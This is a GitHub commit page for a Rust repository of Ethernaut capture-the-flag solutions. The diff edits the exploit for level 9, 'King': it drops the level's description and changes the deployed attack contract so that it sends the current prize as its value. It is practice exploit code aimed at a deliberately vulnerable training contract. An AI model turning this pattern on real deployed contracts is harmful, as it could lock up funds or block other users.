Skip to content

Commit

Permalink
fix king attack
Browse files Browse the repository at this point in the history
  • Loading branch information
0xgleb committed Sep 1, 2023
1 parent 47d6000 commit 42a7900
Showing 1 changed file with 1 addition and 18 deletions.
19 changes: 1 addition & 18 deletions attack/src/ethernaut/hack09_king.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,31 +9,14 @@ pub(crate) struct Exploit;
impl ctf::Exploit for Exploit {
type Target = Target;

/**
* @title Ethernaut Level 9: King
*
* The contract below represents a very simple game:
* whoever sends it an amount of ether that is
* larger than the current prize becomes the new
* king. On such an event, the overthrown king
* gets paid the new prize, making a bit of ether
* in the process! As ponzi as it gets xD
*
* Such a fun game. Your goal is to break it.
*
* When you submit the instance back to the level,
* the level is going to reclaim kingship. You
* will beat the level if you can avoid such a self
* proclamation.
*/
async fn attack(
self,
target: &Self::Target,
offender: &ctf::Actor,
) -> eyre::Result<()> {
let king = King::new(target.address, offender.to_owned());
let exploit = KingExploit::deploy(offender.to_owned(), king.address())?
.value(U256::from(1))
.value(king.prize().await?)
.send()
.await?;

Expand Down

0 comments on commit 42a7900

Please sign in to comment.